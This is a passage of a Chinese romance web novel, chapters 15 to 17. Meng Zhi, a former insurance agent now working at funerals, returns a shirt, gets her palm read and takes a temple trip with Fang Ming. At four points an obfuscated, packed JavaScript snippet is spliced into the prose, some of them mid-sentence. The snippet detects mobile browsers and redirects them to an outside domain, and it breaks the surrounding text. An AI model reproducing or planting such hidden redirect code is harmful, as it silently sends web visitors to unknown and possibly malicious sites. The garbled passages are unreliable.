现在,她手里这件衬衫是深绿色的,那颜色就像冬季的松树林,松针的绿色如同在寒冷空气中凝结的颜料,因此无比湿润冷峭。这是那天方铭借给她的衣服。 孟至拎着衬衫,在自己身上比了比,宽大的休闲衬衫像一只巨大的口袋,几乎可以像被子一样盖住她。 她给方铭发了条消息:“感恩常在,小方不光送我蛋糕,连衬衫都送我了。” 对面以光速回复道:“什么衬衫呀?” “方,你忘了吗,”孟至一手举着衬衫,一手拍摄照片,“就是那天你借我的这件。” 照片上的衬衫耷拉成一长条,就像挑在竹竿上的布。方铭说:“这是我的吗?这真的不是你的吗?” 孟至奇怪地说:“我哪有这么大码的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426014|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我穿男装都是买M号的。” 方铭却说:“这件很大吗?看不出来诶。”他好像突然老糊涂了,让孟至想起了晚年的姥姥。 孟至把衬衫穿上,对着镜子拍了一张:“你看,真的是你的那件。” 照片上的孟至双手举着手机,两只长长的袖子淹没了她的手,衬衫下摆则一直遮到了大腿中间。有了人形衣架的支撑,衬衫完全舒展开来,深绿底色上的黑色格纹也随之呈现。深红色长发垂落在衬衫上,让人想起深冬松树林中的一杯热红酒。 方铭恍然大悟:“哦,原来真的是我那件。” 孟至向他担保道:“我会再洗一遍还给你的。” “不用洗了,”方铭很快回复道,“下次就这样还给我。” “对了,我今天喝到一家奶茶很不错,你给我一个收件地址,我给你订两杯。”孟至总觉得自己欠了小方不少人情,如果能捞到他的地址,以后逢年过节就可以邮点礼物。 方铭不轻不重地拒绝了她:“我现在在外边呢,姐姐。” 孟至非常识相,不再打听他的住址。她担心方铭其实住在筒子楼里,或许还跟他的工友睡上下铺。于是她转移了话题:“好的,你快忙吧,在外边办事就别分心看手机了。” 方铭说:“看到你的信息,就想立刻回。” 孟至散漫地微笑着,把手机投掷到沙发上,继续挂衣服去了。这款布艺沙发也是近期添置的,皇冠靠枕和盗版飞毯则跟旧衣服一起捐给了流浪狗基地,在她看来,那些离谱的物品不适合捐给山区儿童,倒是可以给流浪动物一个温暖的窝。 就在她陶醉于自己亲手打造的软装设计时,她接到一个来自珠三角的电话。团队长告诉孟至,她的离职流程已经快要走完,工资和佣金也已经清算出来。 离职前她曾卖出最后几张新单,现在这些保单的核保已经通过,保费都已经交了进来,犹豫期也已经结束,因此首年佣金能全部拿到。然而,客户在之后年度交入续期保费时,所对应的续期佣金却不会拿到了,因为那时孟至早已离职很久了。这是一笔无法挽回的损失,但孟至无可奈何。 团队长问孟至是否考虑回老家重新积累客户。老家没有AYA的分公司,孟至没法直接把执业登记通过公司内部转过去,但仍然可以另寻他所。但团队长也承认,更换公司意味着业绩和职级清零,一切从头开始。她对孟至说,你还很年轻,以前怎么积累客户,以后就怎么积累客户。 但孟至心事重重。在老家,她没有校友圈子,也失去了积累三年的口碑。即使这里真的有一片蓝海,她也找不到一个可以跳海的切入口。 经过一番改造,公寓越来越有巢穴的意味,这是属于她的一间自己的房间。这巢穴离父母家不算太远,她不必再像以前一样,看到老家的来电就以为是家里出了大事。 但在天平的另一边,失落的感觉不停累积,无声地增加重量。在南国都市,她如鱼得水,曾经连续半个月每天和朋友去露天酒馆,且每天约见的朋友不重样。她想学吉他,就请了一位专业的老师,那老师为当红歌手作词作曲。她每卖出三单保单,就奖励自己去听一场演唱会,举行演唱会的体育馆就在她住所附近。 现在她两手空空,才明白自己并不真正拥有过什么。 就像是为了打断她伤春悲秋的内心戏剧,一条新消息弹了出来。她以为是青龙要喊她跑业务,想不到屏幕上是一句来自方铭的、没头没脑的话:“人类一思考,上帝就发笑。” 15. 看手相 按照孟至的理解,胡思乱想的人类就是她,发笑的上帝正是方铭。她被方铭嘲笑了? 在数次追问之后,方铭不急不慢地回复了一句:“没有嘲笑你,只是看你又不回我微信了,所以猜你又在想心事呢。” “你猜得真准,”孟至惊为天人,“你真是通人性。” 方铭发了一个小狗汪汪大叫的表情包,又说:“那天埋小猫的时候我就发现了,你其实外热内冷,看起来是个酷姐姐,其实心事还挺重。” 仿佛被人看透了光鲜的外壳、窥探到无序的内里,孟至头皮发麻,浑身一阵不自在。她心想这小方怎么这么爱研究人,还像出报告一样给她分析出来? 她打着哈哈结束了对话:“你跟批八字的师傅一样,还会给人批性格。” 小方不屈不挠,开启了新的话题。他提醒孟至,本周就是孟至姥姥的二七,当晚孟至应该来佛香缘烧纸祭拜。 孟至再次惊为天人,她完全没想到方铭责任心极强,还负责售后服务。她立刻订了那天的闹钟,又向方铭表示感谢,问他是不是还在那家店里兼职。 方铭若无其事地说:“你来的时候,我会在的。” 因为事先跟青龙打过招呼,二七这天,孟至不用去墓园做法。无所事事的下午,她接到了二姨姥家的表姐的电话。 孟至姥姥出殡那天,表姐跟随二姨姥前来参加葬礼,她穿着一身银行制服作为正装,给孟至留下了极其深刻的印象。也就是那一次,她才知道表姐也是金融从业者,或许和她还算是拐弯抹角的同业。 这次表姐来电话,上来第一句先问孟至姥姥当时去了哪家养老院。她在电话里气哼哼地说,孟至的二姨姥腿脚越来越差,心脑血管的突发问题不断,却还坚持要待在家中养老;并且她成天在家里骂骂咧咧,请来的护工连续被气跑两个,全家人被闹了个四脚朝天。表姐咬牙切齿地说:“你说,家里都没人看着她,我们能让她自己在家吗?” 孟至如实说:“确实不能。” 表姐大声宣布:“我们决定要把她送到养老院!你把姨姥生前住的养老院推给我,我们现在就开始排队!” 孟至麻溜地找出常来楼长的微信,推给表姐,还十分慷慨地说:“联系她,她会帮你转接负责人的!”其实她心里觉得世事滑稽,一切比剧本更像一场戏,当初痛斥刘校把老母亲送进养老院的二姨姥,如今自己也要被送进同一家养老院了。 一个念头平滑而自然地来到她的脑海中,她心不在焉地想到今晚可以把这笑话讲给小方听。她自己并没有意识到,她已经越来越频繁地向方铭分享日常小事。她像一只旅行青蛙,有时在街上看到寻鸟启示,也会拍下来发给小方看看。 时值初秋,每一天的日落时间都在变早。天色刚暗下去,孟至就起身出门,搭车来到佛香缘。方铭已经站在门后等她了。 立身于面积不大的店铺中,他的身形显得更加高大,几乎顶天立地。孟至一步跨进门里,先双手奉上衬衫:“物归原主,谢谢你啦。” 他接过衬衫,直接穿在短袖T恤外面,好像就在等着这件衣服一样。他为孟至搬来一把椅子,一边请她坐下,一边认真地说:“你今天没晕啊,姐姐。” 孟至幽怨地捂着右胸说:“可不是,我觉得我心脏不好,所以那天一热就会上不来气。”接着她想起自己捂错了地方,手掌又神不知鬼不觉地滑动到左胸。 方铭愣了一下,一手撑着椅背,俯下身来注视着孟至。两张脸彼此相对,他的眼神中充满担忧和爱护,顿时让孟至为自己的诈骗行为感到愧疚。 孟至说:“逗你玩呢。” 随着一声轻微的呼气声,方铭站直了身体。他两手插兜,低头看着眼前的孟至,淡淡地问:“逗我好玩吗?” 孟至假笑着说:“也不知道为什么,一逗你就心情好。” 方铭的脸上浮现出笑意:“那你逗吧。” “哎,不逗了不逗了。”孟至摆了摆手,把二姨姥一家的年度大戏复述给小方,还添油加醋地讲解了二姨姥对刘校的批判。她抱起膀子,摇头感叹道:“当初在我姥姥的葬礼上,二姨姥可是痛哭流涕,一直批斗我妈,差点把她气得犯病呢。我妈身上到处器官都不好,我爸常说不法分子嘎腰子都不嘎这样的。” 方铭温和地笑了:“姨姥和姥姥是几十年的亲姐俩,相处时间比你们跟姥姥都长,心情悲痛也可以理解。” “恩,你说得也对。”孟至一只胳膊反手搭在椅子靠背上,一脸难办的表情,“说不定我自己将来还不知道怎么养老呢,我还在这儿说人家的事。” “哦?那你想不想预知未来?”方铭拿起柜台上的收款二维码,反手一翻,露出另一面,上面写着各式各样的项目:起名测字,看手相,批八字,六爻起卦,紫微斗数,东北老式扑克牌算命…… 看着密密麻麻的营业范围,孟至觉得稀奇极了:“你们店里还提供算命服务?工商不会来抓你们?” 方铭气定神闲地说:“反正平时又没人来算。” 孟至又问:“那这个算命大师在哪里呢?一旦有生意了,就随时把他叫过来吗?”她记得这种算命先生过去都是在天桥上摆地摊的,也许时代进步,算命先生也随着调整营业方式,改成线上预约制了。 方铭谦虚地说:“算命大师?不敢,正是本人。” 店里一时安静了。孟至半信半疑地看着方铭,后者拖了一张凳子,坐到了孟至对面。 孟至捏着下巴,纳闷地问:“你的职业跨度怎么这么大?” “是很大。”方铭一本正经地赞同道,“不好玩吗?” “你可以考虑深耕于一个行业,”孟至好心建议道,“这样才有利于写简历。” “那我就深耕于命理分析吧,”方铭矜贵地看着手里那张牌子,好像在展示他获得过多少荣誉证书,“你想算哪个?” 孟至小声念叨着那些玄学项目,她觉得起名测字已经没有必要,反正自己也不会再改名,于是她随意点了其中一个:“就这个,看手相。” “看手相好啊。”方铭的嘴角微微向上浮起,“不过我有一套独创的体系,看手相也要结合八字来看的。” “可以。”孟至爽快地报出生辰八字,她发现方铭竟然颇有些江湖气概,能掐会算,个性坚韧,是个顽强的讨生活男孩。她打定主意,算完之后要按市场价支付费用。 在一张纸上记录了孟至的生日后,方铭脸上的笑意更浓郁了。接着,他收起笑容,向孟至伸出一只大手:“可以让我看你的手吗?” “你看吧。”孟至翻出手心递了上去。 结有一层薄茧的大手,轻轻托住孟至的手背,就像炽热的底座稳稳嵌住她的手。她又感到了那种坚硬的触感,还觉得自己的手像一块纤细的微凉的冰,快要融化在他的掌中了。 似乎有一瞬间的分神,接着,方铭开始歪头观察孟至手掌的纹路。孟至也把头凑过来,两人顶着脑门研究半天。她觉得自己掌纹很浅,果然,方铭小心地收拢拇指,让她的手心微微向中间聚合,于是皮肤上的纹路就变深了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427384|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看了半天,孟至问:“怎么样,我这命有没有福分?” 方铭恩了一声,说得头头是道:“你天资聪颖,一生起点高,而且受到长辈和同辈喜欢,命里贵人多。” 孟至一想,似乎的确与过往生活高度契合。她继续问道:“还有呢?” “还有?”方铭思忖着说,“还有你最好不要太累,免得中暑晕倒了。” “……”孟至抿起嘴唇,“这个不算。” “好,这个不算。”方铭笑了一下,“还有你命中有红艳和桃花。” 孟至好奇地问:“红艳和桃花是什么?人家常说你小子命犯桃花,难道就是这个意思?” 方铭解释道:“红艳和桃花都是我从书上看到的,恩……就是说这个人很有魅力。” 孟至懒洋洋地笑了两声:“我很有魅力?” “红艳和桃花代表致命的魅力。” “真的吗,”孟至一歪头,挑起眉毛笑了,“你怎么懂命理?” 方铭说:“我爸喜欢看周易的书。” 孟至夸赞道:“你看看,智商高的家长就会培养出智商高的孩子。”他却没有说话。 “让我看看你的。”孟至反过来两手抓住他的手,拽到自己面前看着。方铭被动地让她牵引着,把脸转到了一边。 他的掌纹比孟至深刻得多,手掌厚实而有力。孟至嘴里嘶嘶地响着,还用一根手指的指尖在他的掌纹上划着,就像在研究股票折线。方铭手指微微动了两下,随即耳朵微微发红。 看来看去,她突然把手还给了他:“我忘了哪条才是生命线,不过我觉得你三条线长得都不错。” “哦,”方铭垂下了眼睛,“所以你才用我的手机截图我的手?” 短暂的迷惑之后,孟至突然想起方师傅来家里安装电子锁的那天,在他和老师傅打视频时,孟至替他举着手机,以便让他腾出双手修理电钻。她沉迷于优美画面,物我两忘,截图了方铭的手,接着才想起那不是自己的手机。 孟至长长地喔了一声,那语调就好像在说,我还以为是什么事。 见她不置一词,方铭不易察觉地急躁起来,不甘心地重复了一遍:“姐姐,你截图我的手,还截了好几张。” “没办法呀,”孟至摊开两手,向他一耸肩,“习惯性动作,看到好看的手就截图了,不好意思。” 他盯着孟至,低声问道:“你还截过谁的啊?” 孟至点着手指头数道:“大鹅的,狗的……” 他别过脸去,轻声笑了。孟至看着他的侧颜,又开始在心里截图。 “该去烧纸了,姐姐。”方铭严控时间,让孟至想起面试时的群面timecontroller。他站起身来,顺手把记有孟至生辰的纸条放进裤兜里,然后从柜台后面拎出寄存的纸钱。孟至自觉地拿上铜盆,跟着他走向十字路口。 天已经完全黑了,黑暗包裹着两人,让孟至感到宁静又安全。他们在烧烤摊的白烟的掩护下烧了二七的纸钱,然后由方铭开着他心爱的货车把孟至送回了家。 躺倒在床上时,孟至才想起来方铭根本没算出她的晚年在哪里养老。她登录百度,搜索看手相的诀窍。她发现从手掌纹路上根本看不出红艳和桃花,那是用八字推出来的。而方铭绝不可能在看到孟至的出生年月后,就瞬间在大脑里排出她的命盘。 孟至懒得用软件测评自己的八字,她最终也不知道自己命里有没有红艳和桃花。但她强烈地感觉到,方铭似乎认为她魅力四射,摄人心魄。 16. 吊车吊起了落日 孟至一手扛着一个花圈走向告别厅时,衣兜里的手机震动了两下。她先把花圈安置在墙边,找齐顶端,调整挽联,这才掏出手机。此时手机已经又连续震动过十几下了。 她心里略带忐忑,担心是青龙突然通知她,告别仪式要提前到一分钟后举行,你快把场地布置好吧。因为今天这家客户临时升级了套餐,现场布置方面增加了大量道具,她已经忙出了一身汗,但还有一半陈设尚未到位。 幸好青龙并没有催她,方才的一系列连环震动起源于方铭。他一连发了五六条微信: “我今天,不用去干活。” “我琢磨着,去找你喝杯奶茶。” “你那天不是说,要请我喝一家很好喝的奶茶吗?” …… 他火急火燎,好像马上就要以火箭的速度冲过来找孟至。 孟至一头雾水,想不明白他为何突然来势汹汹。她一边跑向白虎那装满花圈的后车厢,一边对着手机风风火火地说:“等等我,我现在扛花圈呢,晚点回去找你。” 一松手,语音发送成功。稍加思索,她又追加了一句:“大约中午十二点之前能忙完,我先回去洗个澡再叫你。”青龙几乎从不会让孟至留到最后,他每次在咸鱼下单五小时的订单,就严格将孟至的工作时间控制在五小时之内,为人十分讲究。 然而,今天的收工时间比预计的要晚。上午接待的第二家客户是一对痛失独子的老人,老两口白发人送黑发人,看着逝者被推去火化后,就当场犯了心脏病。孟至掏出随身准备的速效救心丸,哗哗倒在他们的手心里,看着他们服入口中,又把他们架到了户外通风处,这才让两人的症状有所缓解。 孟至带着他们领到骨灰,并且自作主张地跳过了给骨灰开光的环节。她不想让两个老人跟着她念那些顺口溜,那样实在是造孽。 等她回到家里洗完澡,已经是下午两点了。她身心疲惫,不知道方铭是不是还会等着她,于是直接拨通了他的电话。 几乎没听见任何叮咚的彩铃声,那边就立刻接起了电话。方铭的声音懒洋洋的,似乎还带着若有若无的笑意,让人觉得他正躺在地上晒太阳。似乎那阳光经过他声音的传导,过渡到孟至的身上,在墓园中积攒的阴郁感被无声地驱散了。 孟至本想问他这会儿在哪里,结果一开口却说:“你在躺着吗?” “恩,”那边哼了一声,似乎坐了起来,“等你的时候没事做,只能躺着看书。” “是吗,”孟至和颜悦色地问,“你看的什么书?”那态度就像是教育家遇到了一个热爱自学的夜校学员。她希望方铭不要回答《风水先生变苍龙》之类的书名。 那边若无其事地吐出两个字:“《光学》。”那腔调相当优雅,似乎期待着更进一步的提问。 “光学啊?”孟至一时间无法参透其中奥义,“怎么开始看光学的书了?……你相信光吗?” 方铭顿时偃旗息鼓,有那么几秒钟,他完全接不上话。 “你这小方,还真是不错!”孟至毫不吝啬地赞美着他的求学欲望。通常来讲,这种科目的自学难度较大,但如果小方读技校时接触过物理学知识,或许也能够读点光学科普书。 方铭转移了话题:“姐姐,不是要去喝奶茶吗?” 虽然方铭这种突然冲上来索要奶茶的行为让孟至惊讶,但她不以为意,仍然爽快地说:“走吧!你不是也住在这一带吗?那家店叫「大口吸の鲜活时光」,就在云鹤路,它旁边是一家眼镜店,叫四眼乐园。半小时之后咱们在店门口集合怎么样?” 方铭说:“不要。我开车来接你,一起过去。” 很快,方铭的货车大摇大摆地出现在孟至楼下。孟至换了一件宽松的衬衫,下摆扎进牛仔一步裙里,随意敞开的大领口里露出深色吊带。在她拉开车门时,她看到方铭的眼睛热切地盯着她,尽管他的表情冷冷清清的。她毫不客气地坐上副驾,冲他熟稔地一笑。 「大口吸の鲜活时光」的品牌名字可谓土洋结合,其店面置身于闹市之中,牌匾花花绿绿,塑料感十足。但该店号称使用新鲜水果,不添加植脂末和糖精,孟至看方铭体格结实,搞不好是健身人士,所以她知趣地挑选了这种清淡的店铺。 两人对着塑封菜单研究半天,孟至点了一杯可可味热咖啡,方铭则要了一杯冰镇果汁。 孟至的手机伸向了扫码器。然而有一只手比她更快。方铭拿着自己的手机,干脆利落地全款付清了两杯饮料的费用。 孟至转头看着方铭,微微扬起了单侧的眉毛。方铭从店员手中接过纸袋,若无其事地说:“走了,姐姐。” 她只好收起手机,跟在他后面说:“那下次我请你。” 他回头淡淡地说:“总这么客气干什么。” 两人站在车来车往的街头,晴空万里,一派秋意。孟至不好意思拉着他去花钱玩乐,她已经看出来了,方铭到最后一定会和她抢单,万一经过一番摔跤后还是没有抢过他,反而要让他再次破费。她决定带小方玩点不花钱的。 于是她笑眯眯地说:“小方,咱们去逛大街吧。” 方铭奉上了插好吸管的咖啡,软糯地说:“听你的。” 走上大路,两侧的写字楼保留着千禧年代的外观,在透明的阳光下,那些楼遍体发亮,好像被洗刷一新,陈年的污垢和裂缝都变得不再明显。道路宽阔漫长,头顶的天空异常辽阔。孟至一边走着,一边告诉方铭:“这条路一直走下去,就通到我姥姥家附近。我小时候就在这一片跑来跑去,现在想想,小时候的活动范围真小啊,老城区就那么大。” 方铭似乎在想象幼年版孟至跑过街头的样子,他的嘴角泛起了微笑。 道路坡度开始抬升,前方是一座公路桥,公路桥上走车,两边则是人行天桥。孟至带领小方走上天桥,一边缓慢地晃悠着往前走,一边探头向下看着。桥下风景随着前行的脚步而变幻,她看见的先是棚户区,再之后是树林,树林中间夹着两条铁轨。 方铭低声说:“铁道边的棚户区,很多年了,还是没有变化。” “是的,很多年了,还是没有变化。”孟至无限惆怅地说,“住在这里的人,仍然住在这里。” 连绵的破旧棚子,搭建在三层小楼前。黑色的石棉瓦,随风翻飞的篷布,房顶上用来压住漏水点的砖头,一切都让孟至沉默,如果这是一张拍废的底片,那么连阳光的滤镜也无法拯救它。 方铭轻轻靠了过来:“小脑瓜里又想什么心事呢?” 孟至慨然答道:“我在想,我们的确应该搞一种保险,一种保费不太高的保险,让普通人家也能买得起! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437091|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让所有人的生活得到保障!” 方铭失声而笑,说:“普惠保险。” “没错!”孟至一巴掌拍到他的肩膀上,非常满意地说,“你很懂啊,小方。” 走过天桥,迎面而来的风将他们的头发吹向后方。风吹动了铁轨边的树林,也吹过老去的城市。一列火车呼啸而过,咣当作响。孟至突然说:“我姥姥姥爷成天互相打架,没有给我妈一个好的童年,也没有给我一个好的童年。” 方铭的目光落在她的脸上,她觉得那目光像一只手在抚摸着她。她继续说:“我给你讲个好笑的。我妈小时候写作文,别人写自己多么爱父母,她写自己羡慕另一个同学的家庭,虽然那同学的父母早逝,但是活着时家庭和谐。全班都在笑话我妈,说哪有这么羡慕别人的。但我真的理解她。” 方铭哑然失笑:“未经他人苦,莫劝他人善。父母早逝,跟父母成天大打出手、从没感觉到家庭温暖相比,很难说哪个更差。” 孟至说:“但是一走到这里,我突然想起来小的时候,我姥爷用自行车推着我走上天桥,走的是上坡路。他走得满头大汗,还一直坚持要推着我。” 方铭把一只手放在她的肩上。他垂着眼睛看着她,温和地说:“可是你的姥姥姥爷帮你妈妈抚养了孩子,他们怎么会完全不爱她?” 孟至点了点头,平静地说:“是的,我现在也这样想。”似乎就在走过天桥的一瞬间,许多画面如电影般回放,她想到了此前从没想过的往事,她发现自己总是紧紧盯着那些乌烟瘴气的记忆,而忽略了另外一些珍贵的记忆。 她还想起姥姥火化那天,在那间阴凉的办事厅里,窗口不断叫着号码。轮到他们时,刘校长上前领回了骨灰,用一块丝绒布兜着,小心地走回到靠墙的桌子旁。桌上已经摆好了骨灰盒,青龙往盒子上贴着编码,那编码就是一个格子的号码,不久骨灰盒就将要放进那个格子。 青龙带着刘校长为骨灰开光,他说一句,刘校长说一句。头归头,脚归脚,自己的身子自己找。最后,青龙让刘校长喊:妈,走好。 而刘校长喊的是:妈妈,走好。 孟至向方铭举起了手中的咖啡。方铭不明所以,用自己的果汁跟她碰了一下。孟至说:“他们一定是爱我妈的,所以才爱我。我想起他们,总是想他们鸡飞狗跳的那个样子,可是要不是他们抚养过我,我们怎么能享受现在这杯咖啡?” 方铭赞同地说:“你长大了。” 孟至一甩头发,歪头看着他:“你才多大啊,小方师傅。”说着,她将手提包挥向他的方向,提包上的斜背带子随之飞去。 他抿起嘴盯着孟至,突然伸手抓住了飞行中的带子,稍微用力一拽。 孟至感到一阵大力袭来。在被那股力量拉到他身边之前,她突然松开手。方铭拽了个空。他手里提着孟至的包,孟至站在一边得意地看着他,送给他一个充满炫耀的微笑。 方铭的眉毛压了下来,他的眼神变得很暗,像黑夜里危险的海洋。孟至突然伸手抓着包带一拽,方铭被拽了过来。他一个踉跄扑来,差点笼罩在孟至的身上。 两人共同抓着一根包带,在天桥上对视了。又一列火车从桥下开过,火红色的夕阳垂到了远处工地上,恰好悬停在一座吊车的吊钩上。看起来,就像吊车吊起了落日。 17. 废弃铁轨 那天,在铁路天桥上的赤橙色晚霞里,方铭第一次向孟至发出了邀约。他先是话里有话地说,这季节正适宜登山,恰好临近的L市有山有水。 孟至肯定了他的说法,对L市的秀丽风光夸赞了一番。距离她上一次去L市的北山庙会已经过去了十几年,留在印象里的是一片模糊而热闹的画面。 方铭继续半吐半露地表示,这几天他无事可做,在考虑出门远足。说着,他抬起眼帘看向孟至,心事呼之欲出,欲说还休,犹抱琵琶半遮面。 孟至假装无知无觉,再次肯定了他的决定,叫他届时记得来图。 最后方铭只好用微弱的声音问道:“你愿意跟我一起去吗?” 孟至的嘴角勾起了胜利者的微笑。她故作惊讶地说:“喔,早说呀。” 方铭略显拘谨地问:“已经有人约你了?” 孟至对着他的落寞脸庞欣赏了一番,这才用一种理所当然的口吻说:“我当然愿意去了。” 背靠着满天的火烧云,方铭如释重负地垂下头,看着她笑了。 农历二十八这天,摆渡人团队照例不太繁忙,青龙只需独自去跑些手续上的工作。孟至等着方铭来接她。艳阳高照,她坐在公寓楼下,享受着无所事事的时间,这是她生活中为数不多的片刻,她忘记诸多烦恼,专心等待着一段旅行的开始。 很快,方铭的轻型货车从视野尽头驶来,稳稳地停在孟至面前。拎着一个巴掌大小的手提包,孟至坐进了副驾驶。方铭双手搭在方向盘上,歪头看着她说:“姐姐,你出门只带这点东西啊?” 孟至扣上安全带,对他眯着眼睛一笑:“反正你会带的嘛。”她的笑脸看起来就像夏目肩头上的娘口三三。 方铭轻声细语地说:“恩,然后你就用我的,反正小方是面的。” “出发!”孟至戴上墨镜,像首长一样下达了指令。方铭发动货车,配合地说:“为领导服务!” 车窗外的世界闪闪发亮。楼房逐渐稀疏,后来道路两旁只有大片的田野,蓝牌货车开上了通往L市的高速。孟至忽然拿出手机,播放Maroon5的《Memories》。令人联想到二十岁的昂扬歌声,一路伴随着旅途,旋律和歌词那么洒脱而自由,就像一个人在海面上奔跑,或是在原野上飞翔。 “为今日相聚于此的人举杯, 也为我们半路失去的人干杯。 酒唤醒了所有回忆, 所有回忆又将你带回到我身边。” 孟至对方铭说:“我一直觉得这首歌很适合在高速上开车时外放。” 公路两边的田野和房子飞速向后退去,方铭随着音乐节奏点头,孟至轻轻摇晃着身体。两人的脸上笼罩着一层美梦般的色彩,他们仿佛已经开出了时间,游离于宇宙规则之外。 货车停下来时,孟至略带遗憾地关上音乐,就像从梦中醒来。但当她跳下车后,又再度欢欣鼓舞起来。L市的北山正俯视着他们,这片连绵的矮山完全被苍翠的树海淹没,山里坐落着许多寺庙。寺庙的飞檐就像一道道勾向天空的水墨笔划,轻盈的走势妙不可言。 方铭背上了旅行包,带着孟至走上进山的台阶。孟至捉住旅行包的带子,笑嘻嘻地问:“你都带了什么?” 小方真的把背包打开,给她看里面的东西:“雨伞,矿泉水,手电筒,移动电源,外套……” “嗨,”孟至爽快地说,“下次我送你一件全是衣兜的工装外套,你可以把这些全都装在身上!”生怕他不信,孟至又添油加醋地说:“搬家都可以穿,一件就把你一箱东西都装走!” 方铭微笑着问:“姐姐,你以前就这么推销保险呀?” “谁说的!” 两人沿着台阶向山里走去。今天不是初一十五,前来进香的游客并不多。有那么一段路,前后不见来客,仿佛整片山林都属于他们两人。 方铭说:“北山逢年过节会有庙会,很热闹的。” “是的,我小时候来过一次,跟我发小一起。”孟至望着寺庙的黄色墙壁,回忆起那个冬天的庙会。她给方铭模仿斯基当时怎么许愿: 寺庙小院正中,一只巨大的香炉里插满了粗而长的高香,白烟使得周围的人影朦朦胧胧,那场景很像云宫,又像夏季的烧烤一条街。只见斯基源源不断地从案台上拿起一支又一支的高香,口中念念有词,这根是我爸的,这根是我妈的,这根是小至的,这根是裴老师的,这根是我偶像的……她祝祷了多少人,就拿了多少支香。 最后,她双手拢着一捆柴火般的高香,向佛像鞠躬祈福,祝愿这些人心想事成。 方铭一直在笑,并且再次罕见地露齿而笑。他问:“你们都许了什么愿?” “斯基希望她父母能好好在一起生活,可惜后来他们还是分居了。”孟至遗憾地一挥手,“我看,她就不用来还愿了。” “不用来了。”方铭一本正经地说,“都没有实现,应该退款才对。” “我呢,我当时求佛祖保佑,让我姥姥姥爷别再成天吵架,我真怕他们砸东西的声音。”孟至无奈地一摊手,“我还许愿让我长大以后变成绝世富婆!” “……” “第一个愿望算是整体无效,不用想了。不过第二个愿望还是实现了那么一丝丝的,我没有变成富婆,但是我能养活自己了。”孟至举起自己的双手放在眼前,颇为自豪地打量着,“看,就是这双劳动的手,能让我发家致富!” “这么厉害啊。”方铭故作惊讶,“那你可以按比例还愿,你觉得佛祖给你实现了多少,就还多少,搞个微积分模型算一算。” 孟至随手打了个响指:“微积分好啊。”她心里先是感到意外,但很快想到也许他除了自学光学以外,还自学了微积分。以前上专业课时,教授曾讲过一个在数学界广为流传的笑话——相传钱学森曾信心满满地说,人就算再笨,还是14岁都学不会微积分吗? 她把脸转向路旁的森林,低声笑了起来。方铭似乎以为孟至是为他提出的微积分还愿模型而笑,一时间他的眼神就像西伯利亚的雪橇犬,充满了为主人服务的快乐。 每见到一座庙,两人就会进去转转。孟至拉住方铭的袖子,悄声说道:“看这些人。” 在浓郁的香雾中,每个香客姿态各异。有人在烧完香之后如释重负,因而信步漫游,双手插兜,伸脖张望。也有较为虔诚的大哥,双手始终合十,松弛地耷拉在胸前,就这样到处逛着,以便随时对佛像参拜。 方铭贴了上来,以便让孟至更顺手地捏他衣袖。他用一种淡漠的口吻说:“求佛就像是抓住救命稻草。其实我还是我,他还是他,世界还是那个世界。” 孟至懒洋洋地说:“但人的命运是有许多分线的。每次站在一个岔路口,选择不同的分支就会走向不同的命运,也说不定他们拜佛的时候,就突然想明白自己到底要怎么选了呢。就像是抛硬币的一瞬间,你就有了答案。” 方铭停住脚步,转过头来看着她:“那你呢?你会选择留在老家,还是再去南方?” 孟至沉默了一下,没有回答。在她的心里,老家似乎已经不再是灰蒙蒙的手稿,从它的边边角角开始,画面逐渐被涂抹上颜色。但她仍然不太确定答案,她不喜欢急急忙忙地做出决定,她想要慢慢地思考,等待有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456933|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天顿悟。 方铭像一颗缺水的植物,忧郁地蔫了。 为了让他振奋精神,孟至一巴掌拍在他的肩膀上:“小方,我跟你说,国庆节的时候,水上会表演打火花呢。”她指着山间的水面,那碧绿水面平静无澜。 小方轻轻叹息一声,还是打起精神,对她微笑着:“我也会打火花。” 孟至想起他开电钻切割防盗门时制造的蓬勃火花。她歪头仰视着他,缓缓升起一个大拇指:“小方会打火花,还会拆家具,还会看手相。” “还有呢?” 